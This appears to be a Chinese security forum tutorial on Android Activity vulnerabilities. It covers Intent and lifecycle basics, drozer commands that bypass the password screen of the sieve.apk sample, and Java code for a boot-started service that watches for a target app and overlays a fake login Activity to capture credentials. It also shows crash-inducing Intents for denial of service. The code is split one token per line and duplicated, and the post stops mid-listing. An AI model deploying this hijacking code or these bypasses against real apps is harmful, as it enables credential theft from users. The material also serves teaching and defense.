最近在总结Android APP漏洞挖掘方面的知识,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF向大家初步的介绍了Android APP漏洞挖掘过程中常见的工具,这里也是我平时使用过程中比较常用的三套件,今天我们来逐步学习和复现Android中 Activity漏洞挖掘部分知识,每个漏洞挖掘部分,我们都会选择具有代表性的样本案例给大家演示。
在学习Activity的漏洞挖掘之前,我们先对Activity的基本运行原理有一个初步的认识
首先,我们要启动Activity,完成各个Activity之间的交互,我们需要使用Android中一个重要的组件Intent
Intent一般分为显式Intent和隐私Intent:
显示Intent打开Activity:
隐式Intent打开Activity:
隐式Intent并不指明启动那个Activity而是指定一系列的action和category,然后由系统去分析找到合适的Activity并打开,action和category一般在AndroidManifest中指定
只有<action>
和<category>
中的内容能够匹配上Intent中指定的action和category时,这个活动才能响应Intent
我们这里只传入了ACTION_START
,这是因为android.intent.category.DEFAULT
是一种默认的category,在调用startActivity()
时会自动将这个category添加到Intent中,注意:Intent中只能添加一个action,但是可以添加多个category
对于含多个category情况,我们可以使用addCategory()
方法来添加一个category
隐私Intent打开程序外Activity:
例如我们调用系统的浏览器去打开百度网址
Intent.ACTION_VIEW
是系统内置的动作,然后将https://www.baidu.com
通过Uri.parse()
转换成Uri对象,传递给intent.setData(Uri uri)
函数
与此对应,我们在<intent-filter>中配置<data>标签,用于更加精确指定当前活动能够响应什么类型的数据:
只有当<data>
标签中指定的内容和Intent中携带的data完全一致时,当前Activity才能响应该Intent。下面我们通过设置data,让它也能响应打开网页的Intent
我们就能通过隐式Intent的方法打开外部Activity
向下一个活动传递数据:
Intent传递字符串:
Intent接收字符串:
返回数据给上一个活动:
Android 在返回一个活动可以通过Back键,也可以使用startActivityForResult()
方法来启动活动,该方法在活动销毁时能返回一个结果给上一个活动
我们在SecondActivity中返回数据
当活动销毁后,就会回调到上一个活动,所以我们需要在MainActivity中接收
如果我们要实现Back返回MainActivity,我们需要在SecondActivity中重写onBackPressed()方法
Activity类中定义了7个回调方法,覆盖了Activity声明周期的每一个环节:
生命周期调用图:
我们这里之所以要介绍Activity的启动模式,是因为Activity界面劫持就是根据Activity的运行特点所实现的
Activity一共有四种启动模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我们简单介绍一下:
standard模式
如果不显示指定启动模式,那么Activity的启动模式就是standard,在该模式下不管Activity栈中有无Activity,均会创建一个新的Activity并入栈,并处于栈顶的位置
singleTop模式
singleTask模式
singleInstance模式
我们在上文中详细介绍了Activity的运行原理,接下来我们了解一些Activity的漏洞种类和应用的安全场景
样本 sieve.apk drozer.apk
首先,我们需要配置drozer的基本环境,具体配置操作,参考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF
手机端打开代理,开启31415端口
我们尝试使用drozer去越权绕过该界面,首先,我们先列出程序中所有的APP 包
我们通过查询字段,可以快速定位到sieve的包名
然后,我们去查询目标应用的攻击面
我们可以看出,有三个activity是被导出的,我们再具体查询暴露activity的信息
说明我们可以通过强制跳转其他两个界面,来实现越权绕过
说明我们成功的实现了越权绕过
在进行Android 界面劫持过程中,我发现根据Android版本的变化情况,目前不同Android版本实现的功能代码有一定的差异性,再经过多次的学习和总结后,我复现而且改进了针对Android 6.0界面劫持的功能代码,并对不同版本的页面劫持做了一个初步的总结,下面是具体实验的详细过程:
首先我们新建一个服务类HijackingService.class,然后在MainActivity里面启动这个服务类
我们可以看到程序一旦启动,就会启动HijackingService.class
然后我们编写一个HijackingApplication类,主要负责添加劫持类别,清除劫持类别,判断是否已经劫持
说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。
我们为了实现开机启动服务,新建一个广播类:
然后我们编写劫持类 HijackingService.class
我们编写劫持类中,最关键的就是如何获取当前的前台进程和遍历正在运行的进程,这也是Android版本更新后,导致不同版本劫持差异的主要原因,对这里我做了一个初步的总结:
我们编写获取当前目标进程的代码:
我们继续编写劫持替换的测试类
最后在我们的配置文件中加入相应的权限和配置信息:
我们需要将服务的时间设置成6秒,避免程序界面还未加载就劫持了
效果演示:
我们编写劫持类安装,打开:
我们可以发现劫持类在后台运行:
我们打开目标程序:
等待5秒,然后劫持成功,这个时间我们可以在代码段调整:
这样我们成功完成了对目标程序劫持,这里我只编写了一个简易的界面,大家可以编写更加复杂的界面,这主要是针对Android 6.0平台的劫持,各位也可以试试其他版本的平台
通过它提示程序进入后台来提示用户
因为现在这种漏洞在Android版本更新后,基本很少出现了,所以这里就不做复现和安全防护了
提到拒绝服务攻击,我们就不得不讲一下Android外部程序的调用方法:
我们查看一个目标应用的AndroidManifest.xml文件:
我们编写一个简易的APP程序,对目标程序进行拒绝服务攻击
这里我们传入一个空字符,使其产生错误
当然我们还可以使用我们的神器drozer来进行攻击
远程拒绝服务攻击:
还有其他类型的拒绝服务攻击,大家可以参考博客:
写到这里,这个帖子总算写完了,对Android的Activity漏洞挖掘的总结过程中,我又再一次将Android 的Activity组件运行的基本原理熟悉了一遍,学习就是不断的总结提高把,可能在编写的过程中,还存在很多不足地方,就请各位大佬指教了。
github首页:github
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?>
cls
)
/
/
参数
1
:启动活动的上下文 参数
2
:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。
Intent有多个构造函数的重载,Intent(Context packageContext,Class<?>
cls
)
/
/
参数
1
:启动活动的上下文 参数
2
:想要启动的目标活动
我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
/
/
实例化Intent对象
intent.putExtra(
"et1"
,et1Str);
/
/
使用putExtra传递参数,参数
1
:键名 参数
2
:键对应的值 我们可以使用intent.getStringExtra(
"et1"
)获取传递的参数
startActivity(intent);
/
/
启动Intent,完成从MainActivity类跳转到SecondActivity类
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
/
/
实例化Intent对象
intent.putExtra(
"et1"
,et1Str);
/
/
使用putExtra传递参数,参数
1
:键名 参数
2
:键对应的值 我们可以使用intent.getStringExtra(
"et1"
)获取传递的参数
startActivity(intent);
/
/
启动Intent,完成从MainActivity类跳转到SecondActivity类
<activity android:name
=
".SecondActivity"
>
<intent
-
filter
>
<action android:name
=
"com.example.test.ACTION_START"
/
>
<category android:name
=
"android.intent.category.DEFAULT"
/
>
<
/
intent
-
filter
>
<
/
activity>
<activity android:name
=
".SecondActivity"
>
<intent
-
filter
>
<action android:name
=
"com.example.test.ACTION_START"
/
>
<category android:name
=
"android.intent.category.DEFAULT"
/
>
<
/
intent
-
filter
>
<
/
activity>
Intent intent
=
Intent(
"com.example.test.ACTION_START"
);
startActivity(intent);
Intent intent
=
Intent(
"com.example.test.ACTION_START"
);
startActivity(intent);
intent.addCategory(
"com.example.test.MY_CATEGORY"
);
intent.addCategory(
"com.example.test.MY_CATEGORY"
);
Intent intent
=
new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"https://www.baidu.com"
));
startActivity(intent);
Intent intent
=
new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"https://www.baidu.com"
));
startActivity(intent);
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如www.baidu.com
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
android:scheme:用于指定数据的协议部分,如https
android:host:用于指定数据的主机名部分,如www.baidu.com
android:port:用于指定数据的端口,一般紧随主机名后
android:path:用于指定数据的路径
android:mimeType:用于指定支持的数据类型
<activity android:name
=
".SecondActivity"
>
<intent
-
filter
>
<action android:name
=
"com.example.test.action.VIEW"
/
>
<category android:name
=
"android.intent.category.DEFAULT"
/
>
<data android:scheme
=
"http"
>
<
/
intent
-
filter
>
<
/
activity>
<activity android:name
=
".SecondActivity"
>
<intent
-
filter
>
<action android:name
=
"com.example.test.action.VIEW"
/
>
<category android:name
=
"android.intent.category.DEFAULT"
/
>
<data android:scheme
=
"http"
>
<
/
intent
-
filter
>
<
/
activity>
Intent intent
=
new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"https://www.baidu.com"
));
startActivity(intent);
Intent intent
=
new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(
"https://www.baidu.com"
));
startActivity(intent);
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
intent.putExtra(
"et1"
,et1Str);
startActivity(intent);
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
intent.putExtra(
"et1"
,et1Str);
startActivity(intent);
Intent intent
=
getIntent();
String data
=
intent.getStringExtra(
"et1"
);
Intent intent
=
getIntent();
String data
=
intent.getStringExtra(
"et1"
);
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
startActivityForResult(intent,
1
);
/
/
参数
1
:Intent 参数
2
:请求码,用于之后回调中判断数据来源
Intent intent
=
new Intent(MainActivity.
class
,SecondActivity.
class
);
startActivityForResult(intent,
1
);
/
/
参数
1
:Intent 参数
2
:请求码,用于之后回调中判断数据来源
Intent intent
=
new Intent();
intent.putExtra(
"data"
,data);
setResult(RESULT_OK,intent);
/
/
setResult接收两个参数,参数
1
:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数
2
:把带数据Intent返回出去
finish();
/
/
销毁当前活动
Intent intent
=
new Intent();
intent.putExtra(
"data"
,data);
setResult(RESULT_OK,intent);
/
/
setResult接收两个参数,参数
1
:向上一个活动返回处理结果,RESULT_OK或RESULT_CANCELED 参数
2
:把带数据Intent返回出去
finish();
/
/
销毁当前活动
@Override
protected void onActivityResult(
int
requestCode,
int
resultCode, Intent data) {
/
/
参数
1
:我们启动活动的请求码 参数
2
:我们返回数据时传入结果 参数
3
:携带返回数据的Intent
super
.onActivityResult(requestCode, resultCode, data);
switch (requestCode){
case
1
:
if
(requestCode
=
=
RESULT_OK){
String returnData
=
data.getStringExtra(
"data"
);
}
break
;
default:
}
}
@Override
protected void onActivityResult(
int
requestCode,
int
resultCode, Intent data) {
/
/
参数
1
:我们启动活动的请求码 参数
2
:我们返回数据时传入结果 参数
3
:携带返回数据的Intent
super
.onActivityResult(requestCode, resultCode, data);
switch (requestCode){
case
1
:
if
(requestCode
=
=
RESULT_OK){
String returnData
=
data.getStringExtra(
"data"
);
}
break
;
default:
}
}
@Override
public void onBackPressed() {
super
.onBackPressed();
Intent intent
=
new Intent();
intent.putExtra(
"data"
,
"data"
);
setResult(RESULT_OK,intent);
finish();
}
@Override
public void onBackPressed() {
super
.onBackPressed();
Intent intent
=
new Intent();
intent.putExtra(
"data"
,
"data"
);
setResult(RESULT_OK,intent);
finish();
}
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
onCreate(): 在Activity第一次创建时调用
onStart():在Activity可见但是没有焦点时调用
onResume():在Activity可见并且有焦点时调用
onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。
onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。
onDestory():在Activity被销毁前调用
onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
我们可以将活动分为
3
中生存期:
(
1
)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
(
2
)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
(
3
)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
我们可以将活动分为
3
中生存期:
(
1
)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存
(
2
)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放
(
3
)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
(
1
)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
Activity生命周期:
onPause
-
-
-
-
-
>onNewIntent
-
-
-
-
-
-
>onResume
这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
(
2
) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有
2
个Activity的实例了
(
1
)启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity
Activity生命周期:
onPause
-
-
-
-
-
>onNewIntent
-
-
-
-
-
-
>onResume
这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化
(
2
) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有
2
个Activity的实例了
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
ActivityB onPause
-
-
-
-
-
>ActivityA(onRestart
-
-
-
>onStart
-
-
-
>onNewIntent
-
-
-
>onResume)
-
-
-
-
-
-
-
-
-
>ActivityB(onStop
-
-
-
>onDestroy)
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
ActivityA启动ActivityA,此时生命周期过程:
ActivityA(onPause
-
-
-
>onNewIntent
-
-
-
>onResume)
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
ActivityA启动ActivityB,此时生命周期过程:
ActivityA(onCreate
-
-
-
>onStart
-
-
-
>onResume)
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例:
场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent()
ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程:
ActivityB onPause
-
-
-
-
-
>ActivityA(onRestart
-
-
-
>onStart
-
-
-
>onNewIntent
-
-
-
>onResume)
-
-
-
-
-
-
-
-
-
>ActivityB(onStop
-
-
-
>onDestroy)
场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样
ActivityA启动ActivityA,此时生命周期过程:
ActivityA(onPause
-
-
-
>onNewIntent
-
-
-
>onResume)
场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。
ActivityA启动ActivityB,此时生命周期过程:
ActivityA(onCreate
-
-
-
>onStart
-
-
-
>onResume)
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈
我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(
1
)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(
2
)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(
3
)组件导出导致钓鱼欺诈
(
4
)隐式启动intent包含敏感数据
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段
(
1
)拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验
(
2
)越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件
(
3
)组件导出导致钓鱼欺诈
(
4
)隐式启动intent包含敏感数据
在Android系统中,Activity默认是不导出的,如果设置了exported
=
"true"
这样的关键值或者是添加了<intent
-
filter
>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(
1
)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(
2
)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(
3
)对Activity界面进行劫持
在Android系统中,Activity默认是不导出的,如果设置了exported
=
"true"
这样的关键值或者是添加了<intent
-
filter
>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。
例如:
(
1
)一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开
(
2
)通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务
(
3
)对Activity界面进行劫持
adb forward tcp:
31415
tcp:
31415
drozer console connect
adb forward tcp:
31415
tcp:
31415
drozer console connect
run app.package.
list
run app.package.attacksurface com.mwr.example.sieve
run app.package.attacksurface com.mwr.example.sieve
run app.activity.info
-
a com.mwr.example.sieve
run app.activity.info
-
a com.mwr.example.sieve
run app.activity.start
-
-
component com.mwr.example.sieve com.mwr.example.sieve.PWList
run app.activity.start
-
-
component com.mwr.example.sieve com.mwr.example.sieve.PWList
防护策略:
(
1
)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(
2
)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
防护策略:
(
1
)私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false
(
2
)公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
原理介绍:
(
1
)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
(
2
)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
实现步骤:
(
1
)启动一个服务
(
2
)不断扫描当前进程
(
3
)找到目标后弹出伪装窗口
原理介绍:
(
1
)Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
(
2
)由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。
实现原理:
如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证
实现步骤:
(
1
)启动一个服务
(
2
)不断扫描当前进程
(
3
)找到目标后弹出伪装窗口
public
class
MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent2
=
new Intent(this,HijackingService.
class
);
startService(intent2);
Log.w(
"hijacking"
,
"activity启动用来劫持的Service"
);
}
}
public
class
MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent2
=
new Intent(this,HijackingService.
class
);
startService(intent2);
Log.w(
"hijacking"
,
"activity启动用来劫持的Service"
);
}
}
public
class
HijackingApplication{
private static
List
<String> hijackings
=
new ArrayList();
public static void addProgressHijacked(String paramString){
/
/
添加劫持进程
hijackings.add(paramString);
}
public static void clearProgressHijacked(){
/
/
清楚劫持进程集合
hijackings.clear();
}
public static boolean hasProgressBeHijacked(String paramString){
/
/
判断该进程是否被劫持
return
hijackings.contains(paramString);
}
}
public
class
HijackingApplication{
private static
List
<String> hijackings
=
new ArrayList();
public static void addProgressHijacked(String paramString){
/
/
添加劫持进程
hijackings.add(paramString);
}
public static void clearProgressHijacked(){
/
/
清楚劫持进程集合
hijackings.clear();
}
public static boolean hasProgressBeHijacked(String paramString){
/
/
判断该进程是否被劫持
return
hijackings.contains(paramString);
}
}
public
class
HijackingReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if
(intent.getAction().equals(
"android.intent.action.BOOT_COMPLETED"
)){
Log.w(
"hijacking"
,
"开机启动"
);
Intent intent2
=
new Intent(context,HijackingService.
class
);
context.startService(intent2);
Log.w(
"hijacking"
,
"启动用来劫持的Service"
);
}
}
}
public
class
HijackingReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if
(intent.getAction().equals(
"android.intent.action.BOOT_COMPLETED"
)){
Log.w(
"hijacking"
,
"开机启动"
);
Intent intent2
=
new Intent(context,HijackingService.
class
);
context.startService(intent2);
Log.w(
"hijacking"
,
"启动用来劫持的Service"
);
}
}
}
private boolean hasStart
=
false;
private boolean isStart;
HashMap<String, Class<?>>
map
=
new HashMap<String, Class<?>>();
/
/
新建线程
Handler handler
=
new Handler();
Runnable mTask
=
new Runnable() {
@Override
public void run() {
Log.w(
"TAG"
,
"ABC"
);
int
i
=
1
;
/
/
ActivityManager activityManager
=
(ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
/
/
List
<ActivityManager.RunningAppProcessInfo> appProcessInfos
=
activityManager.getRunningAppProcesses();
/
/
List
<ActivityManager.RunningAppProcessInfo> appProcessInfos
=
((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
/
/
String Processesnew
=
ForegroundProcess.getForegroundApp();
/
/
Log.w(
"TAG============"
,Processesnew);
List
<AndroidAppProcess> Processes
=
AndroidProcesses.getRunningAppProcesses();
Log.w(
"hijacking"
,
"=================正在枚举进程======================="
);
/
/
枚举进程
for
( AndroidAppProcess appProcessInfo: Processes){
Log.w(
"TAG"
,appProcessInfo.name);
/
*
try
{
Stat stat
=
appProcessInfo.stat();
int
pid
=
stat.getPid();
int
parentProcessId
=
stat.ppid();
long
startTime
=
stat.stime();
int
policy
=
stat.policy();
char state
=
stat.state();
Log.w(
"TAG"
,
"pid:"
+
pid
+
" parentProcessId:"
+
parentProcessId
+
" startTime:"
+
startTime
+
" policy:"
+
policy
+
" state:"
+
state);
} catch (IOException e) {
e.printStackTrace();
}
*
/
String ProcessesRunning
=
ForegroundProcess.getForegroundApp();
Log.w(
"TAG============"
,ProcessesRunning);
if
(
map
.containsKey(ProcessesRunning)) {
/
/
Log.w(
"TAG"
,
"GHZ"
);
/
/
如果包含在我们劫持的
map
中
if
(
map
.containsKey(appProcessInfo.name)) {
Log.w(
"准备劫持"
, appProcessInfo.name);
hijacking(appProcessInfo.name);
}
else
{
/
/
Log.w(
"hijacking"
,appProcessInfo.getPackageName());
/
/
Log.w(
"abc"
,
"123"
);
}
}
}
handler.postDelayed(mTask,
8000
);
}
private void hijacking(String progressName){
/
/
判断是否已经劫持,对劫持的过的程序跳过
if
(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
Intent localIntent
=
new Intent(HijackingService.this.getBaseContext(),HijackingService.this.
map
.get(progressName));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
HijackingService.this.getApplication().startActivity(localIntent);
HijackingApplicaiton.addProgressHijacked(progressName);
Log.w(
"TAG====hijacking"
,
"已经劫持成功"
);
}
}
};
@Override
public void onCreate() {
super
.onCreate();
if
(!isStart){
map
.put(
"com.cz.babySister"
,SecondActivity.
class
);
this.handler.postDelayed(this.mTask,
1000
);
isStart
=
true;
}
}
@Override
public IBinder onBind(Intent intent) {
/
/
TODO: Return the communication channel to the service.
throw new UnsupportedOperationException(
"Not yet implemented"
);
}
@Override
public boolean stopService(Intent name){
hasStart
=
false;
Log.w(
"TAG====hijacking"
,
"劫持服务停止"
);
HijackingApplicaiton.clearProgressHijacked();
return
super
.stopService(name);
}
private boolean hasStart
=
false;
private boolean isStart;
HashMap<String, Class<?>>
map
=
new HashMap<String, Class<?>>();
/
/
新建线程
Handler handler
=
new Handler();
Runnable mTask
=
new Runnable() {
@Override
public void run() {
Log.w(
"TAG"
,
"ABC"
);
int
i
=
1
;
/
/
ActivityManager activityManager
=
(ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
/
/
List
<ActivityManager.RunningAppProcessInfo> appProcessInfos
=
activityManager.getRunningAppProcesses();
/
/
List
<ActivityManager.RunningAppProcessInfo> appProcessInfos
=
((ActivityManager) HijackingService.this.getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses();
/
/
String Processesnew
=
ForegroundProcess.getForegroundApp();
/
/
Log.w(
"TAG============"
,Processesnew);
List
<AndroidAppProcess> Processes
=
AndroidProcesses.getRunningAppProcesses();
Log.w(
"hijacking"
,
"=================正在枚举进程======================="
);
/
/
枚举进程
for
( AndroidAppProcess appProcessInfo: Processes){
Log.w(
"TAG"
,appProcessInfo.name);
/
*
try
{
Stat stat
=
appProcessInfo.stat();
int
pid
=
stat.getPid();
int
parentProcessId
=
stat.ppid();
long
startTime
=
stat.stime();
int
policy
=
stat.policy();
char state
=
stat.state();
Log.w(
"TAG"
,
"pid:"
+
pid
+
" parentProcessId:"
+
parentProcessId
+
" startTime:"
+
startTime
+
" policy:"
+
policy
+
" state:"
+
state);
} catch (IOException e) {
e.printStackTrace();
}
*
/
String ProcessesRunning
=
ForegroundProcess.getForegroundApp();
Log.w(
"TAG============"
,ProcessesRunning);
if
(
map
.containsKey(ProcessesRunning)) {
/
/
Log.w(
"TAG"
,
"GHZ"
);
/
/
如果包含在我们劫持的
map
中
if
(
map
.containsKey(appProcessInfo.name)) {
Log.w(
"准备劫持"
, appProcessInfo.name);
hijacking(appProcessInfo.name);
}
else
{
/
/
Log.w(
"hijacking"
,appProcessInfo.getPackageName());
/
/
Log.w(
"abc"
,
"123"
);
}
}
}
handler.postDelayed(mTask,
8000
);
}
private void hijacking(String progressName){
/
/
判断是否已经劫持,对劫持的过的程序跳过
if
(!HijackingApplicaiton.hasProgressBeHijacked(progressName)){
Intent localIntent
=
new Intent(HijackingService.this.getBaseContext(),HijackingService.this.
map
.get(progressName));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
HijackingService.this.getApplication().startActivity(localIntent);
HijackingApplicaiton.addProgressHijacked(progressName);
Log.w(
"TAG====hijacking"
,
"已经劫持成功"
);
}
}
};
@Override
public void onCreate() {
super
.onCreate();
if
(!isStart){
map
.put(
"com.cz.babySister"
,SecondActivity.
class
);
this.handler.postDelayed(this.mTask,
1000
);
isStart
=
true;
}
}
@Override
public IBinder onBind(Intent intent) {
/
/
TODO: Return the communication channel to the service.
throw new UnsupportedOperationException(
"Not yet implemented"
);
}
@Override
public boolean stopService(Intent name){
hasStart
=
false;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-4-12 17:06
被随风而行aa编辑
,原因: